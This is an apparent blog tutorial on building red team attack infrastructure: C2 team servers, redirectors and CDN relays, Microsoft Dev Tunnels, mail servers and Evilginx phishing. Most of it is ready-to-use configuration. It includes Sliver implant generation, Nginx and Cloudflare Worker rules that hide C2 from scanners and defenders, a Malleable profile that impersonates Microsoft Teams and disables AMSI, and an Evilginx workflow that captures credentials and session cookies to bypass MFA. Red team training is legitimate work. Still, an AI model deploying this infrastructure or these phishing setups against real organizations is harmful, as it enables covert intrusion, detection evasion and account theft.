Red Team Infrastructure: The Full Picture — From Domain to Beacon

Red Team Infrastructure:
The Full Picture

A step-by-step, production-grade guide covering every layer of modern red team infrastructure — from domain selection and Terraform automation to C2 frameworks, CDN relays, phishing servers, Malleable profiles, and full OPSEC hardening. No fluff. Just architecture and tradecraft.
0xDbgMan Feb 2026 ~40 min read 11 Phases

Your payload is perfect. Your exploit is clean. But your beacon calls back to a raw VPS IP with a self-signed certificate and it gets blocked in 30 seconds. Infrastructure is what separates a red team from a script kiddie. Without proper infrastructure, you have no operation.

A mature red team infrastructure has one goal: get your C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. This means the team server is never exposed to the internet, traffic passes through multiple layers of filtering and redirection, and every domain, certificate, and header is carefully chosen to blend in with legitimate traffic. If one component is burned, the rest of the infrastructure survives.

Overview

Architecture — The Full Picture

Every component serves a specific role. The diagram below shows the complete traffic flow from a compromised host all the way to your team server, through multiple layers of indirection.

  ┌──────────────────────────────────────────────────────────────────────┐
  │                           INTERNET                                   │
  └──────────────────────────────────────────────────────────────────────┘
          │  C2 Traffic                         │  Phishing Traffic
  ┌───────▼───────────┐                ┌────────▼──────────────┐
  │   CDN Relay        │                │  Evilginx / GoPhish   │
  │ (Azure / CF / GCP) │                │  (AitM Proxy)         │
  └───────┬───────────┘                └────────┬──────────────┘
          │                                     │
  ┌───────▼───────────┐                ┌────────▼──────────────┐
  │  HTTPS Redirector  │                │  SMTP Mail Server     │
  │  (Nginx / Apache)  │                │  (Postfix / iRedMail) │
  │  4 Filter Layers   │                │  SPF / DKIM / DMARC   │
  └───────┬───────────┘                └───────────────────────┘
          │
  ┌───────▼───────────────────────────────────────────────────┐
  │              INTERNAL VPN / PRIVATE NETWORK               │
  │  ┌─────────────┐  ┌──────────────┐  ┌──────────────────┐ │
  │  │ Team Server  │  │  Dev Box     │  │  Attack Server   │ │
  │  │ (CS/Havoc/  │  │  (Windows)   │  │  (Linux)         │ │
  │  │  Sliver)    │  └──────────────┘  └──────────────────┘ │
  │  └─────────────┘                                          │
  └───────────────────────────────────────────────────────────┘

Each layer adds protection. If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, spin up a new one and re-point the CDN — the team server stays untouched throughout.

Concept

Infrastructure Segmentation

Never run everything on one server. Separate your infrastructure by function and temporal scope. Discovery of one component should never compromise the rest.

StagePurposeLifespanExample Infrastructure
Stage 0Phishing & Initial AccessHours – DaysGoPhish, Evilginx, Payload Hosting
Stage 1Persistence & Long-Haul C2Weeks – MonthsHTTPS/DNS Beacons, Long-Haul C2
Stage 2Interactive OperationsMinutes – HoursSOCKS Proxies, Lateral Movement
Stage 3Data ExfiltrationHours – DaysData Staging, Covert Exfil Channels
Key Rule Each stage must use different domains (different registrars), different VPS providers, different IP ranges, and different certificates. A single shared asset creates a single point of failure.
Phase 01

Domain Selection & Preparation

Before a single server is provisioned, you need domains. This is where most operators fail — they buy a domain the day of the engagement and wonder why it gets blocked. A well-chosen, aged, and properly categorized domain is a critical operational asset.

Domain Aging

Newly registered domains (NRDs) are flagged by Next-Generation Firewalls (NGFWs) and threat intelligence feeds. You need domains aged at least 6 months. Two strategies:

1

Age It Yourself

Buy the domain months before the engagement. Deploy a simple, legitimate-looking website (a health blog, a finance tips page). Let it build reputation organically over time.

2

Buy Expired Domains

Use expireddomains.net to find domains previously used for legitimate purposes. Verify they are not blacklisted using mxtoolbox.com/blacklists before purchasing.

Domain Categorization

Security products categorize websites by content type. Your domain must be in a trusted category. Health and Finance are ideal: they carry positive reputation, and under GDPR/HIPAA, SSL traffic to these domains is often exempt from deep packet inspection.

1

Deploy a Benign Website

Spin up a VPS (Hetzner CX11 is ideal — cheap, fast, European IP). Deploy a simple WordPress or static site with content matching your target category.

2

Submit for Categorization

Submit to: sitereview.bluecoat.com, trustedsource.org, zvelo.com. Wait 48–72 hours for propagation.

3

Verify Across Vendors

Use virustotal.com and mxtoolbox.com to confirm the domain is clean across all major vendors: McAfee, Fortiguard, Palo Alto, Checkpoint, Sophos.

BashDomain Hunting with DomainHunter
# Find expired domains categorized as Healthcare, check 500 results
python domainhunter.py -r 500 -c Healthcare

# Verify DNS propagation after configuring A and CNAME records
dig yourdomain.com A
dig TXT yourdomain.com

# Check blacklist status across all major threat intel feeds
# https://mxtoolbox.com/blacklists.aspx

DNS Configuration

RecordNameValuePurpose
A@Redirector IPRoot domain resolves to redirector
CNAMEwww@www alias
MX@Mail server IPEmail delivery (phishing ops)
TXT@SPF recordEmail authentication
OPSEC Warning Never point your domain directly to your team server IP. All DNS records should point to your redirector. Certificate Transparency (CT) logs are public — defenders monitor them. Use CDN-managed certificates to avoid exposing your infrastructure through CT logs.
Phase 02

Infrastructure Deployment with Terraform

Manual server setup is slow, error-prone, and unrepeatable. Terraform automates everything — servers, networks, security groups, DNS — in minutes. Use Hetzner, DigitalOcean, Vultr, or Linode (Akamai) as your VPS providers. Avoid using a single provider for all components.

Infrastructure Components

ServerRoleProviderExposure
Team ServerC2 framework backendHetzner (private)No public IP
RedirectorNginx reverse proxyVultr (public)443, 80 only
Phishing ServerGoPhish + Evilginx + MailDigitalOceanIsolated VPC
Attack ServerLinux tooling, enumerationLinodeVPN only
Windows Dev BoxPayload development, AV testingHetzner (private)No public IP

Terraform Example (Hetzner + Vultr)

HCLmain.tf — Team Server on Hetzner, Redirector on Vultr
terraform {
  required_providers {
    hcloud = { source = "hetznercloud/hcloud", version = "~> 1.45" }
    vultr  = { source = "vultr/vultr",           version = "~> 2.19" }
  }
}

provider "hcloud" { token   = var.hetzner_token }
provider "vultr"  { api_key = var.vultr_api_key }

# Private network — team server never touches the public internet
resource "hcloud_network" "c2_net" {
  name     = "c2-internal"
  ip_range = "10.0.0.0/24"
}

# Team Server — NO public IP
resource "hcloud_server" "team_server" {
  name        = "team-server"
  image       = "ubuntu-22.04"
  server_type = "cx21"
  location    = "nbg1"
  ssh_keys    = [var.ssh_key_id]
  network {
    network_id = hcloud_network.c2_net.id
    ip         = "10.0.0.10"
  }
}

# Redirector on Vultr — public-facing only
resource "vultr_instance" "redirector" {
  plan        = "vc2-1c-1gb"
  region      = "fra"
  os_id       = 1743
  label       = "redirector"
  ssh_key_ids = [var.vultr_ssh_key]
}
Phase 03

Command & Control (C2) Framework

The C2 framework is the heart of your operation. It generates implants, manages listeners, and provides the operator interface. The most critical factor in choosing a framework is malleability — the ability to customize every component to evade detection.

Choosing a C2 Framework

FrameworkLicenseLanguageKey StrengthDetection Risk
Cobalt StrikeCommercialJavaMost mature, Malleable C2, BOFsHigh (most targeted)
HavocOpen SourceC/C++CS-compatible BOFs, modern evasionMedium (growing)
SliverOpen SourceGoMulti-protocol (mTLS, WireGuard, DNS)Low–Medium
MythicOpen SourceGo/PythonPlugin architecture, multi-agentLow (highly customizable)

Listener Types

1

HTTPS Listener (Egress)

The primary egress channel. Traffic is shaped with Malleable C2 profiles to mimic legitimate applications. Goes through the CDN → Redirector → Team Server chain.

2

DNS Listener (Covert Egress)

Tunnels C2 traffic over DNS queries. Extremely slow but nearly impossible to block without breaking DNS resolution. Ideal for highly restricted environments.

3

SMB / TCP Listener (Peer-to-Peer)

Used for lateral movement within the target network. A P2P beacon on an internal host forwards its traffic through an egress beacon that has internet access.

4

External C2 (exC2)

Uses legitimate third-party services (Slack, Teams, GitHub Gists) as a C2 channel. Traffic goes to trusted, high-reputation domains — extremely difficult to block.

BashSliver C2 — Multi-Protocol Setup
# Install Sliver on your team server (Hetzner, internal only)
curl https://sliver.sh/install | sudo bash

# Start the Sliver server
sliver-server

# Generate an HTTPS implant pointing to your CDN/redirector
sliver > generate --http https://your-cdn-domain.com \
                  --os windows --arch amd64 \
                  --format exe --save /tmp/implant.exe

# Generate a DNS implant for restricted environments
sliver > generate --dns c2.yourdomain.com \
                  --os windows --format shellcode \
                  --save /tmp/dns_implant.bin

# Start listeners
sliver > https --lhost 0.0.0.0 --lport 443
sliver > dns --domains c2.yourdomain.com
Phase 04

The HTTPS Redirector

The redirector is the gatekeeper. It sits between the internet and the team server, deciding what traffic gets through. Legitimate C2 traffic is proxied to the team server; everything else is silently sent to a decoy. Nginx is the recommended choice for its performance, simplicity, and upstream failover capabilities.

Step-by-Step Nginx Redirector Setup

1

Install Nginx and Certbot on your Vultr VPS

BashInitial Setup
sudo apt update && sudo apt install -y nginx certbot python3-certbot-nginx

# Disable the default site
sudo rm /etc/nginx/sites-enabled/default

# Obtain a TLS certificate
sudo certbot certonly --nginx -d yourdomain.com --non-interactive \
  --agree-tos --email ops@yourdomain.com

# Hide Nginx version (misleads incident responders)
echo 'server_tokens off;' | sudo tee -a /etc/nginx/nginx.conf
2

Create the Redirector Virtual Host

Create /etc/nginx/sites-available/redirector.conf

Nginx/etc/nginx/sites-available/redirector.conf
# Upstream: C2 team server (internal IP, never exposed)
upstream c2_backend {
    server 10.0.0.10:443;
    server 10.0.0.11:443 backup;
}

# HTTP → HTTPS redirect
server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    server_name yourdomain.com;

    ssl_certificate     /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;

    # Spoof server header to look like IIS
    more_set_headers "Server: Microsoft-IIS/10.0";

    set $proxy_target http://decoy_backend;

    if ($http_x_c2_token = 'YOUR_SECRET_TOKEN_HERE') {
        set $proxy_target https://c2_backend;
    }

    location / {
        proxy_pass         $proxy_target;
        proxy_set_header   Host $host;
        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify   off;
    }
}

TLS Certificate OPSEC

Certificate TypeProviderOPSEC RatingNotes
Let's EncryptISRGLowFree, automated. All certs in public CT logs.
Cloudflare Origin CertCloudflareMediumOnly valid behind Cloudflare proxy.
Azure CDN ManagedMicrosoftHighMicrosoft-issued, auto-renewed, minimal CT exposure.
Cloudflare CDN ManagedCloudflareHighTraffic appears from CF IP space.
Phase 05

Fortifying the Redirector — 4 Filter Layers

An unprotected redirector will be found and scanned within hours. We add four independent layers of defense. Traffic must pass all four to reach the team server. Failure at any layer results in a silent redirect to a decoy — no error, no indication of filtering.

Critical Principle Never return a 403 Forbidden to blocked requests. A 403 tells the scanner they were detected. A 302 Found to microsoft.com tells them nothing.

Layer 1 — User-Agent Filtering

NginxBlock known scanners and bots
if ($http_user_agent ~* (curl|wget|nmap|nikto|wpscan|sqlmap|masscan|zgrab|
                          Go-http-client|python-requests|java|perl|ruby|
                          Googlebot|bingbot|Slurp|DuckDuckBot|Baiduspider|
                          netcraft|shodan|censys|nuclei|dirbuster)) {
    return 302 https://www.microsoft.com/en-us/;
}

Layer 2 — Custom HTTP Header Validation

NginxInject and validate a secret header
# ── Cobalt Strike Malleable C2 Profile ──────────────────────
http-get {
    client {
        header "X-C2-Token" "a1b2c3d4e5f6_your_secret";
    }
}

# ── Nginx Configuration ──────────────────────────────────────
set $c2_auth "deny";

if ($http_x_c2_token = "a1b2c3d4e5f6_your_secret") {
    set $c2_auth "allow";
}

if ($c2_auth = "deny") {
    return 302 https://www.microsoft.com/en-us/;
}

Layer 3 — URI Path Validation

NginxWhitelist only valid C2 URI paths
if ($request_uri !~* "^/(api/v2/status|api/v2/submit|config/get|user/prefs)$") {
    return 302 https://www.google.com;
}

# Enforce correct HTTP method per URI
if ($request_uri = '/api/v2/status') {
    if ($request_method != 'GET') {
        return 302 https://www.google.com;
    }
}

Layer 4 — IP Address Blocklist

NginxBlock known threat intel and scanner IP ranges
# /etc/nginx/ip_blocklist.conf
deny 66.249.64.0/19;    # Google crawlers
deny 157.55.39.0/24;   # Bing crawlers
deny 198.41.128.0/17; # Cloudflare security
# ... hundreds more from curi0usJack's list

# Include in your server block:
include /etc/nginx/ip_blocklist.conf;
Phase 06

CDN Relays — Hiding in Plain Sight

CDN relays are the most powerful evasion technique in red team infrastructure. By routing your beacon traffic through the networks of major cloud providers, your C2 traffic appears to originate from trusted Microsoft or Cloudflare IP ranges — which are almost never blocked.

Azure CDN — Step by Step

1

Create a CDN Profile

Azure Portal → Create a resource → CDN → Select "Azure CDN Standard from Microsoft (Classic)"

2

Create an Endpoint

Endpoint name: your-c2-relay → gives you your-c2-relay.azureedge.net. Set Origin Hostname to your redirector domain.

3

Disable Caching

Rules Engine → Add rule: Cache-Control: no-store, no-cache, must-revalidate, max-age=0

4

Update Your C2 Listener

Set the listener host to your-c2-relay.azureedge.net. Traffic flow: Beacon → azureedge.net → Redirector → Team Server.

Cloudflare — Step by Step

1

Add Domain to Cloudflare

Point your domain's nameservers to Cloudflare. Free and takes 5 minutes.

2

Enable Proxy Mode

In DNS settings, set the A record to Proxied (orange cloud). All traffic now routes through Cloudflare's IP space.

3

Configure Page Rules

Create a Page Rule for your C2 URI paths: Cache Level → Bypass.

4

Enable Zero Trust Tunnel (Optional)

Use cloudflared to create a tunnel from your team server to Cloudflare. Your team server will have zero open ports.

CDNDomainCostBest ForOPSEC
Azure CDNazureedge.net~$1–2/dayMS-heavy environmentsExcellent
CloudflareYour domain (CF IPs)FreeGeneral use, WAF, DDoSExcellent
GCP Cloud CDNCustom domainPay-per-useGCP-heavy environmentsGood
Phase 07

Serverless Redirection — Cloudflare Workers

Cloudflare Workers run on Cloudflare's global edge network, physically close to the user. We use them as an intelligent, pre-authentication filter that inspects every incoming request before it ever reaches your infrastructure.

JavaScriptCloudflare Worker — C2 Filtering Proxy
const C2_TOKEN    = 'a1b2c3d4e5f6_your_secret';
const TUNNEL_HOST = 'your-tunnel-id.cfargotunnel.com';
const FALLBACK    = 'https://www.microsoft.com/en-us/';

addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
    const token = request.headers.get('X-C2-Token');
    if (token !== C2_TOKEN) {
        return Response.redirect(FALLBACK, 302);
    }
    const url = new URL(request.url);
    url.hostname = TUNNEL_HOST;
    try {
        return await fetch(new Request(url, {
            method: request.method, headers: request.headers, body: request.body
        }));
    } catch (e) {
        return Response.redirect(FALLBACK, 302);
    }
}
Phase 08

Microsoft Dev Tunnels

Microsoft Dev Tunnels route traffic through *.devtunnels.ms — a Microsoft-owned domain that is highly trusted and almost never blocked by corporate firewalls. Setup takes under 5 minutes and requires no domain or certificate.

BashDev Tunnels — Setup and Host
# Install the Dev Tunnels CLI
curl -sL https://aka.ms/DevTunnelCliInstall | bash

# Login with a Microsoft account
devtunnel user login

# Create a tunnel with anonymous access enabled
devtunnel create -a

# Create a port forwarding rule for your C2 listener
devtunnel port create -p 443 --protocol https

# Start hosting the tunnel
devtunnel host
# Output: https://<random-id>.devtunnels.ms  ← use this as your C2 host
Phase 09

Phishing Infrastructure

Phishing remains the most effective initial access vector. A successful phishing operation requires a dedicated, hardened infrastructure: a properly configured mail server, a campaign management tool, and an Adversary-in-the-Middle (AitM) proxy to defeat MFA.

Mail Server Setup — iRedMail on Hetzner

1

Provision a Dedicated VPS

Use a separate Hetzner or DigitalOcean VPS. Never mix phishing and C2 infrastructure. Set the reverse DNS (PTR record) of the VPS IP to match your mail domain.

2

Install iRedMail

BashiRedMail Installation
# Set hostname before installation
hostnamectl set-hostname mail.yourdomain.com

wget https://github.com/iredmail/iRedMail/archive/refs/tags/1.6.8.tar.gz
tar -xzf 1.6.8.tar.gz && cd iRedMail-1.6.8
bash iRedMail.sh
DNSEmail Authentication Records — SPF, DKIM, DMARC
# SPF — authorize your mail server
yourdomain.com.  TXT  "v=spf1 mx a ip4:YOUR_MAIL_SERVER_IP -all"

# DKIM — cryptographic signature
dkim._domainkey.yourdomain.com.  TXT  "v=DKIM1; k=rsa; p=<YOUR_PUBLIC_KEY>"

# DMARC — policy for failed SPF/DKIM checks
_dmarc.yourdomain.com.  TXT  "v=DMARC1; p=quarantine; rua=mailto:dmarc@yourdomain.com"

# MX — mail exchanger
yourdomain.com.  MX  10  mail.yourdomain.com.

GoPhish + Evilginx — MFA Bypass Workflow

1

Deploy Evilginx on a Dedicated VPS

Use a separate Vultr or DigitalOcean VPS. Place it behind Cloudflare for IP obfuscation.

2

Configure a Phishlet

A phishlet defines how Evilginx proxies a specific login portal. Configure one for your target (e.g., Microsoft 365, Google Workspace).

3

Create a Lure URL

Evilginx generates a unique phishing URL. Use this URL in your GoPhish email template as the call-to-action link.

4

Capture the Session

When the victim authenticates, Evilginx captures both credentials and the authenticated session cookie — bypassing MFA entirely.

BashEvilginx3 — Setup and Configuration
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2 && make

# Run Evilginx (needs ports 80/443/53)
sudo ./evilginx -p ./phishlets

# In the Evilginx console:
config domain yourdomain.com
config ipv4 YOUR_VPS_IP

phishlets hostname o365 login.yourdomain.com
phishlets enable o365

lures create o365
lures get-url 0
# → https://login.yourdomain.com/AbCdEfGh  ← use in GoPhish

sessions  # Monitor for captured credentials and cookies
Phase 10

Malleable C2 Profiles & Traffic Shaping

Your C2 traffic is the digital heartbeat of your operation. A well-crafted Malleable C2 profile makes your beacon traffic indistinguishable from legitimate application traffic. Default profiles are the most fingerprinted artifacts in existence — never use them in production.

Malleable C2Production Profile — Microsoft Teams API Mimicry
## Global options
set sleeptime  "45000";  # 45s base sleep
set jitter     "30";     # ±30% jitter → 31–59s actual sleep
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";

https-certificate {
    set CN "teams.microsoft.com";
    set O  "Microsoft Corporation";
    set C  "US";
}

http-get {
    set uri "/api/v2/users/me/presence";
    client {
        header "Accept"         "application/json";
        header "Origin"          "https://teams.microsoft.com";
        header "X-C2-Token"      "a1b2c3d4e5f6_your_secret";
        metadata {
            base64url;
            prepend "token=";
            parameter "auth";
        }
    }
    server {
        header "Content-Type"  "application/json";
        header "Cache-Control" "no-store, no-cache";
        output {
            base64url;
            prepend '{"availability":"Available","data":"';
            append  '"}';
            print;
        }
    }
}

post-ex {
    set spawnto_x64  "%windir%\\system32\\svchost.exe";
    set spawnto_x86  "%windir%\\syswow64\\svchost.exe";
    set obfuscate    "true";
    set smartinject  "true";
    set amsi_disable "true";
}
Phase 11

Operational Security (OPSEC)

OPSEC is not a checklist — it is a mindset. A single failure can burn your entire infrastructure, expose your tools, and end the engagement prematurely.

How Blue Teams Hunt Your Infrastructure

TechniqueWhat They FindYour Countermeasure
JARM FingerprintingDefault C2 TLS stack signaturesUse redirectors/CDNs to mask team server TLS. Customize cipher suites.
Certificate TransparencyNew certs for suspicious domainsUse CDN-managed certs (Azure, Cloudflare). Avoid LE certs for C2 domains.
Passive DNSHistorical IP-to-domain mappingsNever point your domain directly to the team server. Use redirectors from day one.
Shodan / CensysOpen ports, default bannersTeam server has no public IP. Redirector returns IIS banner. All ports filtered.
Behavioral AnalysisPredictable beacon timingHigh sleep time (45–60s) with 20–30% jitter. Malleable profiles to mimic real apps.

Burn Recovery Playbook

1

Isolate the Compromise

Identify which component was burned. Check your redirector logs for the source of the discovery.

2

Tear Down and Rebuild

Use terraform destroy -target=module.redirector to tear down only the burned component. Rebuild with a new IP and domain in minutes.

3

Re-point the CDN

Update your CDN origin to point to the new redirector domain. Your team server and all active beacons remain untouched and operational.

4

Post-Mortem Analysis

Analyze how you were detected. Was it a technical failure (default profile, exposed IP) or a human error (leaked domain)? Update your OPSEC procedures.

Common OPSEC Failures 1. Using default Cobalt Strike profiles — they are the most fingerprinted artifacts in existence.

2. Pointing your domain directly to the team server even once — passive DNS records it forever.

3. Using sleep 0 in production — generates excessive traffic and creates a detectable pattern.

4. Reusing infrastructure across engagements — burned infrastructure from a previous op can compromise a new one.

5. Committing Terraform state files to public Git repositories — exposes all your IP addresses and resource IDs.
Reference

Tools Reference

C2 Frameworks

Cobalt StrikeCommercial industry standard. Most mature, Malleable C2, BOFs, extensive ecosystem.
HavocModern open-source C2. CS-compatible BOFs, modular, cross-platform, strong evasion.
SliverOpen-source by Bishop Fox. Multi-protocol: mTLS, WireGuard, HTTP/S, DNS. Armory plugins.
MythicHighly extensible plugin-based framework. Supports many agents and C2 protocols.

Infrastructure & Redirectors

TerraformInfrastructure as Code. Automate deployment across Hetzner, Vultr, DigitalOcean, Linode.
NginxHigh-performance reverse proxy. Ideal for redirectors with upstream failover.
cloudflaredCloudflare Tunnel daemon. Zero open ports on your C2 server.
GhostwriterRed team engagement management. Track domains, infrastructure, and findings.

Phishing & Domain Management

GoPhishOpen-source phishing campaign management. Email templates, tracking, analytics.
Evilginx3AitM reverse proxy framework. Captures credentials and session cookies, bypasses MFA.
iRedMailFull mail server deployment script. Postfix, Dovecot, OpenDKIM, SpamAssassin.
DomainHunterAutomated expired domain hunting with categorization and blacklist checking.
SourcePointMalleable C2 profile generator. Creates obfuscated, evasive profiles for Cobalt Strike.
C2 MatrixComprehensive comparison of C2 frameworks. Features, protocols, evasion capabilities.
Sources

References

  1. White Knight Labs — Advanced Red Team Operations Course (ARTO)
  2. Steve Borosh (@424f424f) — Red Team Infrastructure Wiki, GitHub
  3. curi0usJack — Apache mod_rewrite Redirect Rules, GitHub Gist
  4. Tylous — SourcePoint: Malleable C2 Profile Generator, GitHub
  5. Cloudflare — Zero Trust Tunnels Documentation
  6. Microsoft — Dev Tunnels Documentation
  7. CGomezSec — Sliver C2 with Cloudflare Workers & Tunnels
  8. Ghostwriter — Infrastructure Management Platform
  9. Unit 42 (Palo Alto) — Cobalt Strike Malleable C2 Profile Analysis
  10. MITRE ATT&CK — T1071.004 (DNS C2), T1090 (Proxy), T1568 (Dynamic Resolution)

Comments

Popular posts from this blog

Tutorial: Build an AI Penetration Tester with Claude (MCP + Burp)

InfluxDB TCP 8086 (Default) — Authentication Bypass & Pentest Notes

Mastering PowerShell Execution Policy Bypass